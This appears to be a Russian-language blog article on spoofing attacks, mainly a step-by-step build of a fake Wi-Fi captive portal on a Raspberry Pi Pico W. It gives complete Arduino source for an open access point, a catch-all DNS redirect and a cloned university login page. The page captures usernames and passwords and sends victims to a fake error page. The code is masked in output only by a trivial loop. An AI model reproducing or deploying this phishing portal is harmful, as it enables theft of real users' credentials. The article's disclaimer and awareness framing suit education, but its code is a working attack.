
Расскажу про СПУФИНГ – самый легкий и распространенный способ украсть любые данные пользователя путем подмены ресурса к которому идет запрос.
ДИСКЛЕЙМЕР
Данная статья не является каким-то пособием к противозаконным действиям, а основной ее целью является ознакомление читателя с очень опасной и неприятной атакой
Что такое спуфинг?
СПУФИНГ – мошенническая схема, относящаяся скорее к социальной инженерии, чем к чистому хакерству, поскольку в процессе задействована сама жертва, которая, сама того не подозревая, передает данные третьим лица.
Самые распространенные схемы СПУФИНГА:
1. Создание фишингового сайта со схожим доменным именем, например если мошенник делает дубликат государственного сайта gosuslugi.ru и регистрирует его под доменом gosuslugl.ru, который незаметно отличается от настоящего сайта одной лишь буквой l. Таким образом мошенник имеет полный доступ к введенным данным фишинговом сайте.
2. Спуфинг адреса электронной почты – информацию об отправителе, показанную в электронной почте (поле «От»), можно легко подделать. Этот метод обычно используется спамерами, чтобы скрыть происхождение своей электронной почты и приводит к таким проблемам, как возвращённые письма (то есть спама в электронной почте обратного рассеивания).
3. Спуфинг номера телефона – при исходящем вызове мошенники могут подменять идентификатор номера телефона и представляться сотрудниками банка, гос. учреждений или знакомыми.
3. Подмена точки доступа WIFI – то о чем пойдет речь дальше.
Подмена точки доступа WIFI
Наверно самая распространенная из всех схем. Мошенник как правило подменивает страничку авторизации в БЕСПЛАТНОМ WIFI, где требуется ввести либо номер телефона, либо данные соц. сетей.
После того как жертва вводит свои реальные данные, мошенник подключает ее к WIFI, либо перебрасывает на пустую страницу, а сам в то же время использует полученные данные в незаконных целях.
Недавно таким образом взламывали телеграм аккаунты в подмосковных аэропортах.
Будьте осторожны при подключении к беспарольным точкам WIFI!!!
Как работает?
Теперь рассмотрим как осуществляется подмена точки доступа WIFI, в целях получения данных (логина и пароля) для авторизации в настоящей сети WIFI.
Существует множество готовых инструментов для реализации подобной атаки Man-In-The-Middle (MITM): Fluxion SH, Wifiphisher и.т.д., которые, в случае если у вас подходящая сетевая карта, не требуют дополнительных устройств. Например тот же Fluxion SH может глушить WIFI сеть, но страницы авторизации, которые идут в комплекте уже давно устарели, поэтому придется переписывать под себя.
Итак, в моем примере устройства-спуфера будет использоваться Raspberry PI Pico с WIFI модулем в качестве поддельной точки доступа.
Прошивку под микроконтроллер пишу на Arduino IDE.

ШАГ 1. Крючок с приманкой
Пользователь где-то вводит данные, это где-то – web-страница, клонирующая определенный ресурс, для которого злоумышленник получает данные. Соответственно первым шагом всегда создается поддельная страничка авторизации.
В качестве примера, создадим страницу аутентификацию в университетском WIFI, которая собирает логин и пароль пользователей. Как правило данная страница к точь-в-точь копирует настоящую страницу авторизации в WIFI.

HTML-код фишинговой страницы авторизации занимает меньше 100 строчек кода, и задается либо в отдельном файле, либо как в этом примере в файле handleHttp.ino
Когда жертва нажмет кнопку “Continue” произойдет передача введенных данных, после чего ее либо перебросит на страницу ошибки, чтобы не вызывать подозрений, либо, что еще хуже, злоумышленник подключит ее к интернету и помимо уже сворованных данных будет собирать всю информацию, переданную по незашифрованным каналам без SSL сертификата, о чем я когда-нибудь обязательно расскажу.
В этом примере происходит переадресация на страницу с ошибкой.
ШАГ 2. Удочка
Удочка – сервер на RP Pico на котором находится фишинговая web-страница.
//main.ino
#include <WiFi.h>
#include <WiFiClient.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <LEAmDNS.h>
/* Set these to your desired softAP credentials. They are not configurable at runtime */
#ifndef APSSID
#define APSSID "TEST NETWORK"
#define APPASS "1234567890"
#endif
const char *softAP_ssid = APSSID;
const char *softAP_pass = APPASS;
/* hostname for mDNS. Should work at least on windows. Try http://picow.local */
const char *myHostname = "pico";
// DNS server
const byte DNS_PORT = 53;
DNSServer dnsServer;
// Web server
WebServer server(80);
/* Soft AP network parameters */
IPAddress apIP(172, 16, 172, 1);
IPAddress netMsk(255, 255, 255, 0);
/** Last time I tried to connect to WLAN */
unsigned long lastConnectTry = 0;
/** Current WLAN status */
unsigned int status = WL_IDLE_STATUS;
void setup() {
delay(1000);
Serial.begin(115200);
Serial.println();
Serial.println("Configuring access point...");
/* You can remove the password parameter if you want the AP to be open. */
WiFi.softAPConfig(apIP, apIP, netMsk);
WiFi.softAP(softAP_ssid);
delay(500); // Without delay I've seen the IP address blank
Serial.print("AP IP address: ");
Serial.println(WiFi.softAPIP());
/* Setup the DNS server redirecting all the domains to the apIP */
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer.start(DNS_PORT, "*", apIP);
/* Setup web pages: root, wifi config pages, SO captive portal detectors and not found. */
server.on("/", handleRoot);
server.on("/submit", handleSubmit);
server.on("/success", handleSuccess);
server.on("/generate_204", handleRoot); // Android captive portal. Maybe not needed. Might be handled by notFound handler.
server.on("/fwlink", handleRoot); // Microsoft captive portal. Maybe not needed. Might be handled by notFound handler.
server.onNotFound(handleNotFound);
server.begin(); // Web server start
}
void loop() {
// DNS
dnsServer.processNextRequest();
// HTTP
server.handleClient();
}
Также создаем отдельный файл handleHttp.ino в котором обрабатываем запросы для каждой страницы:
//handleHttp.ino
//Обработка главной страницы
void handleRoot() {
if (captivePortal()) { // If captive portal redirect instead of displaying the page.
return;
}
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "-1");
String Page1 = R"=====( <!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Authorization</title>
</head>
<body>
<form method="post" action="/submit">
<input name="redirurl" type="hidden" value="http://www.gstatic.com/generate_204">
<center>
<table><tbody><tr><td>
<center></center>
</td><td>
<table cellpadding="6" cellspacing="0" width="550" height="380" style="border:1px solid #000000">
<tbody><tr height="10" bgcolor="#990000">
<td style="border-bottom:1px solid #000000">
<font color="white">
)=====";
String Page2 = R"=====(
<b>
Страница аутентификации
</b>
</font>
</td>
</tr>
<tr>
<td>
<div id="mainlevel">
<center>
<table width="100%" border="0" cellpadding="5" cellspacing="0">
<tbody><tr>
<td>
<center>
<div id="mainarea">
<center>
<table width="100%" border="0" cellpadding="5" cellspacing="5">
<tbody><tr>
<td>
<div id="maindivarea">
<center>
<div id="statusbox">
<font color="red" face="arial" size="+1">
<b>
</b>
</font>
</div>
<br>
)=====";
String Page3 = R"=====(
<div id="loginbox">
<table>
<tbody><tr><td colspan="2"><center>Добро пожаловать в wifi сеть <b>для студентов и аспирантов</b></center></td></tr>
<tr><td colspan="2"><center></center></td></tr>
<tr><td colspan="2"><center>
<tr><td> </td></tr>
<tr><td align="right">Имя пользователя:</td><td><input name="auth_user" type="text" style="border: 1px dashed;"></td></tr>
<tr><td align="right">Пароль:</td><td><input name="auth_pass" type="password" style="border: 1px dashed;"></td></tr>
<tr><td> </td></tr>
<tr><td colspan="2"><center>Для управления доступом рекомендуем выключить</center></td></tr>
<tr><td colspan="2"><center>"Блокирование всплывающих окон"</center></td></tr><tr><td> </td></tr>
<tr>
<td colspan="2">
<center><input name="accept" type="submit" value="Continue"></center>
</td>
</tr>
<tr><td> </td></tr>
<tr><td colspan="2"><center><a href="/">Почтовый сервер для студентов</a></center></td></tr>
<tr><td colspan="2"><center><a href="/">Сайт центра коммуникации</a></center></td></tr>
<tr><td colspan="2"><center><a href="/">Личная страница абонента</a></center></td></tr>
</tbody></table>
)=====";
String Page4 = R"=====( </div>
</center>
</div>
</td>
</tr>
</tbody></table>
</center>
</div>
</center>
</td>
</tr>
</tbody></table>
</center>
</div>
</td>
</tr>
</tbody></table>
</td></tr></tbody></table>
</center>
</form>
</body></html>)=====";
// R"DDD(
//const char* a = R"=====(<html lang="ru-RU"><meta charset="UTF-8"><head>прив</head></html>)=====";
server.send(200, "text/html", Page1+Page2+Page3+Page4);
}
//Обработка страницы success
void handleSuccess() {
if (captivePortal()) { // If captive portal redirect instead of displaying the error page.
return;
}
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "-1");
String Page1 = R"====(
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
Ошибка 403<br>
<button><a href="/">Вернуться</a></button>
</body></html>
)====";
// R"DDD(
server.send(200, "text/html", Page1+Page2);
}
//Обработка отаправки данных
void handleSubmit() {
if (captivePortal()){
return;
}
String usr = server.arg("auth_user");
String pass = server.arg("auth_pass");
int usr_len = usr.length();
int pass_len = pass.length();
for(int i = 1; i < usr_len; i++)
usr[i] = '*';
for(int i = 1; i < pass_len; i++)
pass[i] = '*';
Serial.println(usr);
Serial.println(pass);
//server.sendHeader("Location", "wifi", true); - если оставить, то не работает переход на другую страницу
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "-1");
server.sendHeader("Location", String("http://") + toStringIp(server.client().localIP()) + String("/success"), true);
server.send(302, "text/plain", ""); // Empty content inhibits Content-length header so we have to close the socket ourselves.
server.client().stop(); // Stop is needed because we sent no content length
}
// Переброс на Captive, в случае запроса другого домена. Возвращает True в этом случае, тогда обработчики не пытаются снова его обработать
boolean captivePortal() {
if (!isIp(server.hostHeader()) && server.hostHeader() != (String(myHostname) + ".local")) {
Serial.println("Request redirected to captive portal");
server.sendHeader("Location", String("http://") + toStringIp(server.client().localIP()), true);
server.send(302, "text/plain", ""); // Empty content inhibits Content-length header so we have to close the socket ourselves.
server.client().stop(); // Stop is needed because we sent no content length
return true;
}
return false;
}
//Обработка ошибки поиска страницы
void handleNotFound() {
if (captivePortal()) { // If captive portal redirect instead of displaying the error page.
return;
}
String message = F("File Not Found\n\n");
message += F("URI: ");
message += server.uri();
message += F("\nMethod: ");
message += (server.method() == HTTP_GET) ? "GET" : "POST";
message += F("\nArguments: ");
message += server.args();
message += F("\n");
for (uint8_t i = 0; i < server.args(); i++) {
message += String(F(" ")) + server.argName(i) + F(": ") + server.arg(i) + F("\n");
}
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "-1");
server.send(404, "text/plain", message);
}
Ну и зависимый файл tools.ino в котором всего-лишь две функции: одна проверяет строку на соответствие формату IP, другая преобразует IP в строку.
//tools.ino
/** Is this an IP? */
boolean isIp(String str) {
for (size_t i = 0; i < str.length(); i++) {
int c = str.charAt(i);
if (c != '.' && (c < '0' || c > '9')) {
return false;
}
}
return true;
}
/** IP to String? */
String toStringIp(IPAddress ip) {
String res = "";
for (int i = 0; i < 3; i++) {
res += String((ip >> (8 * i)) & 0xFF) + ".";
}
res += String(((ip >> 8 * 3)) & 0xFF);
return res;
}
Сервер готов. Теперь если загрузить эту программу на RP Pico, вы сразу увидите в общем доступе новую точку доступа с названием "TEST NETWORK". Если вы попробуете к ней подключиться, вас сразу перебросит на страницу авторизации, которую еще иногда называют Captive Portal.

Все данные, которые получает RP Pico передаются в последовательный порт с отображение только первого символа... Я ведь делаю все с целью предостеречь вас!!!)
Вывод
Сейчас многие заведения и торговые центры как правило делают авторизацию через web-страницы с действительным сертификатом, которые находятся в общем доступе и через которые подтверждается достоверность источника, об этом тоже расскажу в будущем.
Однако будьте крайне осторожны при подключении к неизвестным беспарольным сетям, если эти сети при подключении требуют ввести персональную информацию, то лучше сразу обойти их стороной или ввести те данные, которые не боитесь отдать злоумышленнику.